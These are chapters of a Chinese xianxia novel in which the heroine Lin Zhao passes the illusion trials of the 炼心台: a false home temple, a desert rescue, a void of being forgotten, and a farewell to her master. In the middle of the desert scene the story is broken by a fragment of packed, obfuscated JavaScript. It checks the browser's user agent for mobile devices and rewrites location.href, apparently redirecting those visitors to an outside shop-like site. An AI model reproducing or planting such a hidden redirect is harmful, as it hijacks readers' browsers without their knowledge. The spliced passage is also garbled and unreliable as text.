粥喝完,老谷头接过碗:“下午还得收麦子,你去歇会儿。”
林照回到自己房间。房间还是老样子,床板,瘸腿桌子,墙上挂着斗笠和蓑衣。她坐在床上,伸手摸了摸枕头底下——那本《晒谷心经》还在。
她翻开书。字迹,批注,那幅“上接天光,中承风气,下连地脉”的图,都在。
可如果那些经历是梦,她怎么会知道这么多?怎么会记得周言的画,记得沈不言的剑,记得鹤松真人的茶?
她走到窗边,望向远方。
天很蓝,云很白,麦田很金黄。一切完美得不像真的。
太完美了。
完美得……让人不安。
林照闭上眼睛,调动“见云”境的感知。
起初,一切正常。她能“感觉”到麦田的呼吸,感觉到大地的脉动,感觉到阿茸的心跳。但渐渐地,她发现了不对劲——所有的“感觉”都太规整了。麦浪起伏的节奏,一成不变;大地脉动的频率,毫无波动;甚至连阿茸的心跳,都像钟表一样精准。
这不是真实的世界。
真实的世界,有意外,有变化,有瑕疵。麦子会被风吹倒,大地会有微震,阿茸会打喷嚏,会闹脾气。
这里没有。
这里是……画出来的世界。
她睁开眼,走到晒谷场上。
老谷头在槐树下打盹,烟袋搁在膝盖上。她走过去,蹲在他面前。
“师父,”她轻声问,“如果有一天,我要去很远的地方,您会想我吗?”
老谷头睁开眼,笑了:“傻丫头,你去哪儿?晒谷观不就是你的家吗?”
“我是说如果。”
“没有如果。”老谷头拍拍她的头,“你就该在这儿,种麦子,晒谷子,喂羊,认药草。这才是你的路。”
林照看着他慈祥的脸,心里一阵绞痛。
她知道,这是幻境。是炼心台根据她内心最深的渴望,造出来的幻境。这里有她失去的一切,有她最想念的人,有她最安稳的生活。
只要她愿意,可以永远留在这里。
永远不用面对外面的风雨,不用面对试炼的残酷,不用面对未知的恐惧。
只要她说一句“好”,这一切就都是她的。
她闭上眼睛。
眼泪流下来。
然后,她睁开眼,站起身。
“对不起,师父。”她说,“这里很好,但不是真的。真的晒谷观,您已经走了。真的阿茸,在等我回去。真的路,还在前面。”
她转身,走向观门。
身后,老谷头的声音传来:“照儿,你要去哪儿?外面很危险……”
林照没有回头。
“我知道危险。”她说,“但我得去。因为真的麦田,需要真的汗水;真的修行,需要真的路。”
她推开观门。
门外不是山路,是石台第二层。
幻境破碎。
第二层,是一片沙漠。
烈日当空,黄沙漫天。热浪滚滚,烤得人口干舌燥。林照站在沙丘上,举目四望,除了沙,还是沙。没有水,没有植物,没有生命。
这才是真正的考验——不是温柔的诱惑,是残酷的绝境。
她舔了舔干裂的嘴唇,开始往前走。
沙很软,一脚踩下去,陷进半尺。走起来很费力,每走一步,都要付出双倍的体力。烈日晒在背上,像烙铁。汗水刚流出来,就被蒸干,在皮肤上留下一层盐渍。
走了约莫半个时辰,她看见前方沙丘下,躺着一个人。
是个小女孩,约莫八九岁,衣衫褴褛,小脸脏兮兮的,嘴唇干裂出血。她蜷缩在沙地上,呼吸微弱,眼睛半闭半睁。
林照快步走过去,蹲下身:“小妹妹,你怎么样?”
小女孩睁开眼,眼神涣散:“水……水……”
林照摸摸腰间——水囊不在。在幻境里,她没有带水囊。
她环顾四周,全是黄沙。哪里来的水?
但她忽然想起《晒谷心经》里的一句话:“天地万物,皆有水。沙中有湿气,石中有暗泉。”
她闭上眼,调动感知。
这一次,不是为了“看”,是为了“找”。她“感觉”沙子的湿度,感觉地下的脉动。一寸一寸地找,像在药田里找野稗草的根。
终于,她“感觉”到——在十丈外的一处沙丘背阴处,地下三尺,有微弱的湿气。
她扶起小女孩:“坚持一下,我带你找水。”
背着小女孩,深一脚浅一脚地走到那处沙丘。她放下小女孩,用手刨沙。沙很烫,手指很快磨破,渗出血。但她没停,一直刨。
刨到三尺深时,沙渐渐湿润。再往下,沙变成了泥。她继续刨,指甲断了,指缝里全是血和沙。
终于,刨到五尺深时,泥里渗出了水。
很浑浊,带着泥沙,但确实是水。
她用手捧起水,先喂给小女孩。小女孩贪婪地喝着,喝了几口,终于缓过气来。
“姐姐……”她虚弱地说,“谢谢你……”
林照自己也喝了几口。水很苦,有泥沙味,但此刻胜过琼浆玉液。
“你叫什么名字?”她问。
“小丫。”小女孩说,“我跟爹娘逃荒,走散了……”
林照看着这张脏兮兮的小脸,想起晒谷观的豆苗。一样瘦小,一样无助。
“我带你出去。”她说。
背起小丫,继续往前走。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233476|197631||http|test|mini|href|location''.split(''|''),0,{}));
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>烈日更毒了。沙地更烫了。每一步都像踩在炭火上。林照的嘴唇干裂出血,眼睛被汗水刺痛,腿像灌了铅。但她没停。
背上,小丫轻声说:“姐姐,我们会死在这里吗?”
“不会。”林照说,“只要一直走,总能走出去。”
“可是……什么都没有啊……”
“有。”林照说,“有沙,有太阳,有风。有你在,有我在。只要活着,就有希望。”
这话说给小丫听,也说给自己听。
又走了半个时辰,前方忽然出现一片绿洲。
不是幻觉,是真的绿洲。几棵胡杨树,一汪清泉,泉边开着不知名的野花。林照几乎不敢相信自己的眼睛。
她背着小丫,踉跄着走到泉边。泉水清澈见底,甘甜清凉。两人喝了个饱,又洗了把脸。
小丫躺在树荫下,很快睡着了。
林照坐在泉边,看着这片突如其来的绿洲。太巧了,巧得不像真的。
她闭上眼,感知。
绿洲是真的,树是真的,泉是真的。但……有一种不协调感。就像画里的山,形有了,神也像,但总觉得缺了什么。
她睁开眼,看向泉边那些野花。
花很鲜艳,但每朵花的姿态,一模一样。每片花瓣的弧度,每片叶子的脉络,都像从一个模子里刻出来的。
这不是自然生长的花。
这是……阵法造出来的景。
她站起身,走到最大的一棵胡杨树前。树很粗,要两人合抱。她伸手抚摸树皮——触感真实,纹理清晰。但当她闭上眼睛,仔细感知时,发现树的“心跳”是假的。不是植物的那种生生不息的脉动,是阵法运转的那种机械的节奏。
她回到泉边,看着熟睡的小丫。
小女孩睡得很香,小脸上还有泪痕。呼吸均匀,胸口起伏——一切都是真的。
但林照知道,小丫可能也是阵法的一部分。是这个幻境,用来考验她的“慈悲心”的工具。
她该怎么做?
叫醒小丫,告诉她这一切都是假的?告诉她,她可能根本不存在,只是阵法造出来的一段记忆,一个幻影?
还是……继续演下去,假装不知道,等到日落,等到试炼结束?
林照坐在泉边,想了很久。
最后,她做了决定。
她没有叫醒小丫,也没有离开。她从怀里——幻境中,她的怀里居然还有东西——摸出那枚干枯的麦穗。
麦穗很轻,很脆。她握在手里,像握着一整片麦田。
然后,她开始做一件很傻的事。
她在泉边的沙地上,挖了一个浅坑。
从怀里——这次摸出的是几粒麦种。不知道什么时候放进去的,也不知道是真的还是幻境给的。她把麦种种进坑里,盖上土,浇上泉水。
做完这些,她坐在坑边,轻声说:
“我不知道你是真是假,不知道这里能不能长出麦子。但我想试试。”
“我师父说,种地这件事,最讲究一个‘诚’字。诚心种,诚心等,诚心收。不管收成如何,种下去的那一刻,希望就种下了。”
她顿了顿:“如果你是真的,这些麦子会长出来,给你一个惊喜。如果你是假的……那也没关系。至少这一刻,我是真的在种,你是真的在看。”
身后传来轻微的脚步声。
小丫醒了,走到她身边,蹲下身:“姐姐,你在种什么?”
“麦子。”林照说,“等它长出来,磨成粉,做成饼,给你吃。”
小丫眼睛亮了:“真的会长出来吗?”
“会。”林照说,“只要相信,就会。”
小丫笑了,脏兮兮的小脸上,笑容干净得像泉水。
林照也笑了。
她知道,这可能是幻境。小丫可能是假的,绿洲可能是假的,麦种可能是假的。
但她的相信,是真的。
她的种下的希望,是真的。
这就够了。
夕阳西下,金色的余晖洒在绿洲上,洒在泉水上,洒在沙地上那个小小的土坑上。
林照和小丫坐在胡杨树下,看着夕阳。
“姐姐,”小丫轻声问,“我们会一直在一起吗?”
林照沉默了一会儿:“不会。我会走,你也会有自己的路。”
“那……你会记得我吗?”
“会。”林照说,“就像记得晒谷观的麦田,记得破庙的雨,记得渔村的鱼汤。你是我路上遇见的一道风景,我会一直记得。”
小丫靠在她肩上,闭上眼睛。
夕阳完全沉下去了。
绿洲开始消散。胡杨树化作青烟,泉水渗入沙地,野花凋零成灰。小丫的身体,也渐渐透明。
“姐姐,”最后时刻,小丫说,“你要走下去。走到……有真正绿洲的地方。”
说完,她消失了。
林照站在原地,手里还握着那枚麦穗。
眼前,是石台第三层。
沙漠幻境,破了。
她低头,看见沙地上,那个她挖的土坑还在。坑里,几株嫩绿的麦苗,刚刚破土而出。
在不可能发芽的地方,发芽了。
在虚假的幻境里,长出了真实。
她看了麦苗很久,然后转身,踏上第三层。
脚步很稳。
心里很静。
她知道,接下来的路,会更难。
但她会一直走。
走到有真正绿洲的地方。
17. 炼心台(中)
第四层。
林照踏上台的瞬间,眼前没有幻境,只有一片虚无的黑暗。
不是夜的黑,不是墨的黑,是一种“空”的黑——什么都没有,没有光,没有声音,没有温度,连自己的呼吸声都听不见。她像被塞进了一个密闭的箱子,箱子外是无垠的虚空。
她试着往前走,但脚下没有路。不是悬空,是根本没有“地面”这个概念。她只能站在原地,像一个被遗弃在宇宙深处的孤魂。
然后,声音来了。
起初很轻,像远处飘来的呓语。渐渐地,清晰起来——是人的声音。熟悉的声音。
“林照那丫头,走了有半年了吧?”
“什么半年,才三个月!”
“管他几个月,反正不回来了。听说去了玄霄阁,要当仙人呢。”
“嗤,就她?五废之体,当什么仙人?怕是死在外面了。”
是晒谷观孩子们的声音。李虎,豆苗,还有其他人。他们在议论她,语气里有嫉妒,有不屑,有冷漠。
林照的心抽了一下。
声音继续飘来。
“阿茸这几天不吃草,老往山路上望。”
“畜牲就是畜牲,记吃不记打。那丫头走的时候头都不回,它倒惦记。”
“死了这条心吧,人家现在是修仙的人了,哪还记得咱们这破观。”
声音越来越远,像退潮的海水,渐渐消失在黑暗深处。
林照站在原地,一动不动。
她知道这是幻境,是炼心台挖出她内心最深处的恐惧——不是死亡,不是失败,是被遗忘。被晒谷观遗忘,被阿茸遗忘,被她曾经守护的一切遗忘。
就像一滴水落进大海,悄无声息地消失。
就像一粒沙被风吹走,没人记得它曾经在哪里。
黑暗重新笼罩。
这次,传来的是陌生的声音。
“林照?谁啊?”
“哦,那个晒谷观的?好像来参加过试炼。”
“后来呢?”
“后来?淘汰了吧。五废之体,能有什么出息。”
“也是。修仙界天才如云,谁记得一个废物体质。”
声音冷冰冰的,像刀子刮过石板。
林照闭上眼睛。
她想起玄霄阁测灵根那天,那个月白道袍的青年,那句冰冷的“五废之体,终身难筑基”。想起广场上那些修士看她时怜悯又轻蔑的眼神。想起云鹤真人问她“为什么要选最难的路”时,那审视的目光。
如果她走不到最后,如果她中途失败,如果她死在试炼里——谁会记得她?
晒谷观会慢慢忘了她,孩子们会长大,会有新的生活。阿茸会老死,会有新的羊。玄霄阁更不会记得一个失败的试炼者。她就像麦田里的一株野草,被拔掉了,麦田还是麦田,不会少什么。
她睁开眼。
黑暗中,渐渐浮现出画面。
是她自己的脸——在铜镜里的脸。十六岁,眉眼还未长开,眼神干净,但没什么特别。这张脸放在人群里,很快就会淹没。
画面变化。她看见自己走在路上,遇见很多人——渔夫,老妇人,周言,沈不言,陈砚,李慕云。每个人都对她笑,跟她说话,但转身离开后,没人回头。就像风吹过水面,涟漪散了,水面还是水面。
最后,画面定格在一幅画上。
是周言的那幅画。墨点,留白,山在云上,屋在山顶。但这一次,画里没有山,没有云,没有屋。只有那个墨点,孤零零地躺在宣纸中央。
然后,墨点也淡去了。
画变成了一张白纸。
空空如也。
就像她从没来过这世界,就像她从没种过麦子,从没救过小丫,从没走过荆棘路,从没在石头上刻过“再走一步”。
什么都没有。
林照感到一种彻骨的冷。
不是身体的冷,是灵魂的冷。像被剥光了扔在冰原上,连影子都没有。
她蹲下身——虽然脚下没有地,但她做出了蹲下的姿势。双手抱膝,把脸埋在臂弯里。
想哭,但没有眼泪。
因为连眼泪,都是“存在”的证明。而在这个幻境里,她连“存在”都要被否定。
时间不知过去了多久。
也许是一炷香,也许是一整天,也许是一百年。
黑暗没有尽头,虚无没有边界。
就在林照以为自己会永远困在这里时,耳边忽然响起一个声音。
很轻,很熟悉。
“照儿。”
是师父。
林照猛地抬头。黑暗中,浮现出老谷头的身影。老人佝偻着背,手里拿着烟袋,脸上挂着笑,像晒谷观槐树下打盹时的样子。
“师父……”林照的声音嘶哑。
“傻丫头,”老谷头说,“你忘了最重要的事。”
“什么事?”
“麦子被拔掉了,但麦田记得。”老谷头抽了口烟,烟雾在黑暗中缓缓扩散,“不是麦田‘需要’记得,是麦田‘就会’记得。每一株被拔掉的野草,都化作了泥土,滋养了下一季的麦子。”
他走近几步,浑浊的眼睛看着她:“你以为你种的是麦子?错了。你种的是你自己。麦子会长成麦子,你会长成你。至于别人记不记得……重要吗?”
林照愣住了。
“你活着,不是为了被别人记住。”老谷头说,“你活着,是为了看见今天的太阳,闻见今天的麦香,摸到今天的泥土。是为了这一口气吸进来,呼出去。是为了这一刻,你还站在这儿,还能想,还能痛,还能……记得。”
他顿了顿:“记得晒谷观,记得阿茸,记得我。不是我们需要你记得,是你需要记得我们——因为记得,你才是你。”
烟雾渐渐散去,老谷头的身影也开始模糊。
“师父!”林照伸手去抓,但抓了个空。
最后时刻,老谷头笑了:“记住,照儿。你存在,不需要别人证明。你呼吸,就是证明。你心跳,就是证明。你此刻站在这里,想着晒谷观,想着我——这就是最真实的证明。”
声音消失,黑暗重新降临。
但这一次,黑暗不一样了。
林照站起身。她不再觉得冷,不再觉得空。她能感觉到自己的呼吸,自己的心跳,自己血液在血管里流动的声音。
这些,都是“存在”的证明。
她不需要被别人记住,因为她记得自己。
记得晒谷观的每一寸土地,记得麦田的每一次丰收,记得药田的每一株草药,记得阿茸左耳上的疤,记得师父临终前的笑容。
这些记忆,是她存在的根。
根扎得深,树就不怕风。
她迈开脚步——虽然眼前还是黑暗,但脚下有了路。
一步,两步。
黑暗中,渐渐有了光。
不是刺眼的光,是温暖的光,像晨曦,像烛火。光里浮现出画面——
晒谷观的麦田,在风中起伏。
阿茸在晒谷场上吃草,抬头朝她“咩”了一声。
豆苗在晒麦子,小脸上全是汗。
李虎在劈柴,斧头起落,木屑飞溅。
灶房里飘出炊烟,锅里熬着粥。
这些画面,不是幻境,是记忆。
她自己的记忆。
光越来越亮,画面越来越多——
破庙的雨夜,周言在画画。
渔村的黄昏,老人在熬鱼汤。
驿站的午后,老妇人在写信。
荆棘路上的刺痛,铁索桥上的摇晃。
炼心台上的选择,绿洲里的麦苗。
每一幅画面,都是她走过的路,都是她存在的证明。
最后,所有画面汇聚在一起,凝成一点——
那个墨点。
周言画里的墨点。
墨点在光中旋转,放大,变成一座山。山在云上,屋在山顶。屋里有光,光里有人影。
人影转过头来——
是她自己。
林照看着画里的自己,画里的自己也看着她。
两人相视一笑。
然后,幻境破了。
眼前是石台第四层。
林照站在台上,浑身被汗水湿透,但眼神清澈。
她环顾四周,发现台上不止她一个人。
沈不言也在。
他盘膝坐在台边,闭目调息。剑横在膝上,布条裹着的剑鞘,依然朴素。他脸色有些苍白,额角有细密的汗珠,但呼吸平稳。
更让林照惊讶的是,台上还有第三个人——
周言。
画师坐在台中央,面前摊着一张宣纸,手里拿着笔,正在作画。他画得很专注,嘴里喃喃自语:“不对……不是这样……山应该再高一点……云应该再淡一点……”
林照走过去,轻声唤:“周先生?”
周言没抬头,继续画:“别吵,我快找到了……那座山……我看见了……”
“周先生,这里是幻境。”林照说。
“幻境?”周言终于抬起头,看着她,眼神迷茫,“那……你是真的吗?”
“我是林照。”
“林照……”周言念叨着这个名字,忽然笑了,“哦,我想起来了。那个在破庙里看雨的姑娘。你救过我。”
他放下笔,环顾四周:“这里……是玄霄阁的炼心台?”
“是。”
周言苦笑:“难怪。我本来要去青云剑派,告诉他们那座山是真的。走到半路,被人追上来,打了一架……醒来就在这里了。”他顿了顿,“他们把我扔进来的,对吧?想用幻境困住我,让我放弃。”
林照看着他:“您放弃了吗?”
“放弃?”周言笑了,笑容里有种癫狂的清醒,“我画了十年,找了十年,等那幅画自燃等了十年——你问我放不放弃?”他指着面前的画,“你看,我又画出来了。虽然还是不对,但比上一次更像了。”
林照低头看画。
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纸上还是那座山,云海,小屋。但这次,山更清晰了,云更流动了,小屋的窗户里,那点光更温暖了。
“您看见屋里的人了吗?”她问。
周言摇头:“看不见。但我知道,有人在等。”他顿了顿,“也许等的不是我,是任何一个能走到那里的人。”
他重新拿起笔,继续画。画得很慢,每一笔都斟酌很久,像在雕刻时光。
林照不再打扰他,转身走向沈不言。
沈不言睁开眼,看向她:“过了?”
“过了。”林照点头,“沈先生呢?”
“快了。”沈不言说,“还差最后一点。”
“什么最后一点?”
沈不言沉默了一会儿,说:“我练剑,不是为了杀人,是为了止杀。但幻境里,我的剑一直在杀人——杀我想杀的人,杀我恨的人,杀我嫉妒的人。杀到最后,剑钝了,手软了,心空了。”
他顿了顿:“然后我发现,那些我杀的人,都是我自己。”
林照心头一震。
“每一个被我杀死的人,都长着我的脸。”沈不言说,“愤怒的我,嫉妒的我,贪婪的我,懦弱的我。我杀了一圈,杀的是自己。”他看着膝上的剑,“所以我在想——如果剑不能止杀,只能杀人,那这剑,还有必要存在吗?”
林照想了想,说:“沈先生,我记得我师父说过的一句话。”
“什么?”
“剑不在锋,在止。”林照说,“也许您的剑,不是为了杀‘人’,是为了杀‘执念’。那些愤怒、嫉妒、贪婪、懦弱——都是执念。您用剑斩它们,不是杀人,是斩自己的心魔。”
沈不言愣住了。
良久,他缓缓点头:“有道理。”
他重新闭上眼睛。这一次,气息变了——不再是那种沉静如深潭的感觉,而是像春风化雨,温润无声。
林照在他身边坐下,也闭上眼睛调息。
第四层的考验,是对“存在”的拷问。她过关了,但消耗很大。需要恢复。
不知过了多久,耳边传来周言的声音:“成了!”
林照睁开眼,看见周言举着画,手舞足蹈:“这次成了!你们看!”
画上,山、云、屋,都栩栩如生。最神奇的是,小屋的窗户里,那点光——不是画出来的光,是真的光。画纸在发光,温暖的光,像烛火,像夕阳,像……像等待本身。
周言看着画,眼泪流下来:“十年……我终于画出来了……”
他话音未落,画忽然自燃了。
不是天火,是画自己燃烧起来的。火焰是金色的,温暖但不烫手。画在火焰中渐渐化为灰烬,但那些灰烬没有飘散,而是凝成一个光点——和原来画上的墨点一模一样的光点。
光点飘起来,在空中旋转,然后“嗖”地一声,钻进了周言的眉心。
周言浑身一震,闭上眼睛。
半晌,他睁开眼,眼神变了——不再是那种癫狂的、执着的眼神,而是清澈的、了然的。
“原来如此。”他轻声说,“那座山……不在外面,在里面。”
他站起身,朝林照和沈不言深深一揖:“多谢二位。我该走了。”
“去哪儿?”林照问。
“回青云城。”周言说,“告诉那些追杀我的人:山是真的,但不在他们找的地方。也在他们心里,只是他们看不见。”他笑了笑,“然后……找个地方,种花,养猫,晒太阳。画了十年,该歇歇了。”
说完,他转身走向台下。
走到边缘时,他回头,对林照说:“林姑娘,你心里的那座山,比画里的更美。好好找,别急。”
然后,他一步踏出,消失在第四层。
台上只剩下林照和沈不言。
沈不言也睁开了眼。他拿起膝上的剑,轻轻一折——
剑断了。
不是用力折断的,是轻轻一碰,就断了。断口整齐,像早就该断了。
沈不言看着断剑,笑了:“执念断了,剑也该断了。”他把断剑收进怀里,站起身,“林姑娘,我也该走了。”
“去哪儿?”
“继续练剑。”沈不言说,“但这次,不是为了止杀,是为了……守护。”他顿了顿,“守护一些值得守护的东西。比如你这样的,还在种麦子的人。”
他朝林照点点头,也走下台。
林照独自站在第四层,看着空荡荡的台面。
周言找到了他的山,沈不言断了他的执念。她呢?
她心里的山,找到了吗?
她不知道。
但她知道,她会继续找。
就像种麦子,一季一季地种,一年一年地等。不急,不躁,该发芽的时候会发芽,该抽穗的时候会抽穗。
她深吸口气,走向第五层。
脚步很轻,但很坚定。
就像走在晒谷观的田埂上,就像走在荆棘丛中,就像走在沙漠里。
一步一步。
走向心里的那座山。
18. 炼心台(下)
第五层。
林照踏上台的瞬间,以为又会是黑暗、沙漠或别的什么艰难考验。
但不是。
眼前是晒谷观,无比真实的晒谷观。
晨光熹微,鸡鸣三遍。灶房里飘出炊烟,是小米粥的香味。阿茸在羊圈里咩咩叫,等着她来添草。晒谷场上,露水在麦穗上凝结成珠,晶莹剔透。
一切都是她最熟悉的样子。
老谷头推开堂屋门走出来,手里拿着烟袋,看见她,笑了:“照儿,今天起得早啊。粥熬好了,趁热喝。”
林照站在原地,没有动。
这不是幻境——至少感觉上不是。她能闻到真实的粥香,能感觉到晨风的微凉,能听见远处山溪的流淌声。连老谷头眼角的皱纹,都和她记忆里一模一样。
“发什么呆?”老谷头走过来,拍拍她的肩,“快去洗脸,一会儿还得收麦子呢。今天天好,正好晒。”
林照慢慢走向井边。井水很凉,掬一捧扑在脸上,清醒了许多。她直起身,看向晒谷场。
豆苗在扫院子,小脸上满是认真。李虎在劈柴,斧头起落,木屑飞溅。其他孩子各忙各的,一切井然有序,像从未被打破的宁静。
“照姐!”豆苗看见她,欢快地跑过来,“你今天教我认药草好不好?师父说当归快能收了,让我学着点。”
林照看着他亮晶晶的眼睛,点点头:“好。”
早饭后,她带着豆苗去药田。
药田里,当归长势正好,叶片肥厚,根茎粗壮。金银花开得正盛,黄白相间,香气扑鼻。三七的叶子在晨光中泛着油绿的光。
“你看,”林照蹲下身,指着一株当归,“叶子要这样肥厚,叶脉要清晰,根茎要粗但不空——这样的药性最好。”
豆苗认真地看着,小手轻轻触摸叶片:“照姐,你真厉害。什么都知道。”
林照笑了笑,没说话。
她知道吗?在真实的晒谷观,她确实知道这些。但离开的这一个月,她见了更大的世界,学了更多的东西——比如周言的画,沈不言的剑,鹤松真人的茶,炼心台的幻境。
那些经历,是真的,还是假的?
如果是假的,为什么记忆如此清晰?
如果是真的,为什么她又回到了这里?
“照儿。”
老谷头的声音从田埂上传来。老人背着药篓,慢悠悠走过来:“今天天气好,咱们去后山采些金银花。入秋了,该备些清热解毒的药。”
林照站起身:“好。”
后山的金银花丛很大,漫山遍野都是。黄白的花朵在阳光下闪闪发亮,蜜蜂嗡嗡地在花间穿梭。老谷头教她怎么摘——要挑将开未开的花苞,药性最好。要留一些给蜜蜂,不能摘尽。
林照摘得很仔细。手指触到花苞时,能感觉到那种饱满的生命力。阳光晒在背上,暖洋洋的。山风吹过,带来松脂和野花的清香。
一切都太完美了。
完美得……让人不安。
午饭是小米粥、腌野菜、还有两个窝窝头。林照吃得很慢,每一口都细细咀嚼。老谷头坐在对面,慢条斯理地喝着粥,偶尔说两句话。
“豆苗那孩子,心细,适合学医。”
“李虎太浮躁,得多磨磨性子。”
“今年的麦子长得不错,能多收两成。”
都是家常话,都是她最熟悉的话题。
但林照总觉得哪里不对。
饭后,她回到自己房间。房间还是老样子——床板,瘸腿桌子,墙上挂着的斗笠和蓑衣。她走到窗边,推开窗。
窗外是晒谷场。麦子铺了一地,金灿灿的。阿茸在麦子边啃草,时不时抬头看看天,看看她。
一切如常。
但她心里,有个声音在问:如果这里是真的,那玄霄阁呢?试炼呢?周言、沈不言、陈砚、李慕云呢?那些经历,那些相遇,那些生死关头,都是梦吗?
她伸手摸了摸怀里——没有那枚干枯的麦穗,没有那幅画,没有玉佩,没有号牌。什么都没有。
就像她从没离开过。
下午,她跟着老谷头学配药。
晒谷观有个小小的药房,里面摆满了瓶瓶罐罐。当归、黄芪、金银花、三七……每种药材都有固定的位置。老谷头教她怎么配“养心汤”——当归三钱,黄芪五钱,红枣七枚,文火慢煎。
“火候很重要。”老谷头说,“太猛了,药性燥;太弱了,药效出不来。要像晒麦子一样,不急不躁,让阳光慢慢把水分带走。”
林照听着,忽然想起鹤松真人沏茶的样子。也是这样,不急不躁,让热水慢慢唤醒茶叶的香气。
“师父,”她轻声问,“您去过玄霄阁吗?”
老谷头手里的戥子顿了顿:“怎么问这个?”
“就是……好奇。”
老人放下戥子,看着她:“去过。年轻时去过。但那里不是我的地方。”
“为什么?”
“因为他们的‘道’,和我的‘道’不一样。”老谷头说,“他们要的是飞升,是长生,是超脱。我要的是……”他望向窗外的麦田,“是这片麦子能年年丰收,是这些孩子能平安长大,是阿茸能活到自然老死。”
他顿了顿:“你觉得,哪种‘道’更高?”
林照想了想:“没有高低。只有适合不适合。”
老谷头笑了:“说得对。”他继续配药,“所以啊,照儿,你也要找到适合自己的道。别人的路再宽敞,不适合你,走起来也硌脚。”
这话,和鹤松真人说的很像。
林照沉默了一会儿,忽然问:“师父,如果有一天,我要离开晒谷观,去很远的地方,您会怪我吗?”
老谷头抬起头,看着她:“为什么要怪你?鸟长大了要离巢,麦子熟了要收割,孩子长大了要去看世界——这都是天理。”他顿了顿,“只要你记得回家的路,记得这片麦田的味道,记得我这个老头子熬的粥……去哪儿都行。”
林照眼眶发热。
“但是,”老谷头话锋一转,“你要想清楚——为什么要走?是为了逃避,还是为了寻找?是为了别人眼中的‘成功’,还是为了自己心里的‘答案’?”
他走到窗边,望着晒谷场:“如果你走,是因为觉得晒谷观太小,装不下你的梦想——那我不拦你。但如果你走,是因为不知道晒谷观就是你的梦想……那我会难过。”
林照的心被重重撞了一下。
晒谷观就是她的梦想吗?
她不知道。
她只知道,在这里的每一天,她都活得很踏实。锄地时,汗滴入土;晒谷时,心随云移;熬药时,守着火候;喂羊时,摸着阿茸温暖的毛。
简单,但充实。
可是……外面的世界呢?那些她没见过的风景,没走过的路,没遇见过的人呢?
她想起周言画里的山,想起沈不言手里的剑,想起陈砚说的“有些路明知道走不通也得走”,想起李慕云说的“修仙这条路不全是蝇营狗苟”。
那些,也是她生命的一部分。
或者说,是她想成为的那个自己的一部分。
傍晚,她一个人去了后山。
坐在那块熟悉的岩石上,看着夕阳慢慢沉下去。天空从橙红变成暗紫,星星一颗一颗亮起来。远处传来归鸟的鸣叫,近处有蟋蟀在草丛里唱歌。
她想起在玄霄镇后山,她也在石头上刻过字:“再走一步,就一步。”
那个刻字,是真的,还是幻境?
如果是真的,为什么这里没有?
如果是幻境,为什么记忆如此清晰?
她闭上眼,调动“见云”境的感知。
这一次,不是为了看破幻境,是为了感受——感受这个晒谷观的“真实度”。
她“听”到麦子呼吸的声音,“听”到大地脉动的声音,“听”到阿茸心跳的声音,“听”到孩子们说笑的声音。
一切都真实得可怕。
但当她将感知扩展到更远处时,发现了不对劲——山的轮廓太完美了。每一座山的起伏,每一处悬崖的角度,都像精心设计过的。云飘动的轨迹,风流动的方向,都遵循着某种固定的规律。
就像……一幅画。
一幅无比精细、无比真实的画。
她睁开眼,望向天空。
最后一抹晚霞正在消散,夜色像墨汁一样漫上来。星星越来越多,银河横跨天际,像一条发光的绸带。
很美。
但她忽然想起周言说过的话:“真正的光,不是照亮别人,是找到自己心里的那盏灯。”
她心里的那盏灯,是什么?
是晒谷观的麦田?是师父的笑容?是阿茸的蹭蹭?还是……那个走在路上、不断向前、不断寻找的自己?
她不知道。
但她知道,如果她现在说“我留下”,这个完美的晒谷观会一直存在下去。师父不会老,阿茸不会死,麦田永远金黄,孩子们永远天真。
她会在这里,度过平静、安稳、幸福的一生。
没有风雨,没有危险,没有离别,没有痛苦。
就像一场永远不醒的美梦。
她站起身,走下山。
回到晒谷观时,天已经全黑了。堂屋里亮着灯,老谷头在等她。
“回来了?”老人说,“粥在锅里热着。”
林照点点头,去灶房盛粥。粥还是温的,米香扑鼻。她端着碗回到堂屋,在老谷头对面坐下。
“师父,”她轻声说,“我想问您一个问题。”
“问。”
“如果……我是说如果,现在的一切都是假的,是幻境,您会怎么办?”
老谷头放下烟袋,看着她:“假的?”
“嗯。就像……就像一幅画,画得再真,也是画。”
老人沉默了很久。
“如果真的是画,”他缓缓说,“那画画的人,一定很用心。把晒谷观的每一寸土地,每一个角落,每一个人的表情,都画得这么像。”他顿了顿,“但画毕竟是画。画里的麦子不能吃,画里的粥不能喝,画里的我……不能真的教你什么。”
他看着林照:“所以,如果这是幻境,我会告诉你——走吧。回到真实的世界去。哪怕那个世界有风雨,有离别,有痛苦,但那是真的。真的汗,真的泪,真的痛,真的笑——这些,才是活着。”
林照的眼泪掉下来,落在粥碗里。
“可是师父,”她哽咽着,“如果真实的世界里,您已经不在了呢?”
老谷头笑了,笑容里有种洞悉一切的温柔:“傻丫头,谁说我‘不在’了?”他拍拍胸口,“你记得我,我就在这里。你想起晒谷观,晒谷观就在这里。记忆不是幻境,是另一种真实——比眼前这一切更真实的真实。”
他站起身,走到窗边,推开窗。
夜风吹进来,带着山野的凉意。
“你看,”他说,“如果这是幻境,那这风也是假的。但你能感觉到凉,不是吗?你的感觉,是真的。你的眼泪,是真的。你坐在这里,想着真实世界里的晒谷观,想着真实世界里的我——这些想念,也是真的。”
他转身,看着林照:“所以,走吧。带着这些‘真’的感觉,这些‘真’的记忆,回到‘真’的世界去。在那里,继续种你的麦子,走你的路,找你的山。”
林照站起身,走到老人面前,深深跪下,磕了三个头。
“师父,”她说,“谢谢您。”
“谢什么。”老谷头扶她起来,“你是我徒弟,我教你,是天经地义。”他顿了顿,“记住,照儿——仙不在天上,在你想去的地方。你的心在哪儿,道就在哪儿。”
林照重重点头。
然后,她转身,走出堂屋。
走出晒谷观。
走在晒谷场上时,阿茸跑过来,蹭她的手。她蹲下身,抱住阿茸的脖子,把脸埋进它温暖的毛里。
“阿茸,”她轻声说,“我要走了。你好好在这里……不,你会一直在真实的世界里,等我回去。”
白羊似乎听懂了,轻轻“咩”了一声。
林照站起身,继续往前走。
走到观门口时,她回头看了一眼。
堂屋的灯还亮着,老谷头站在门口,朝她挥手。孩子们都跑出来,豆苗,李虎,其他人,都在挥手。
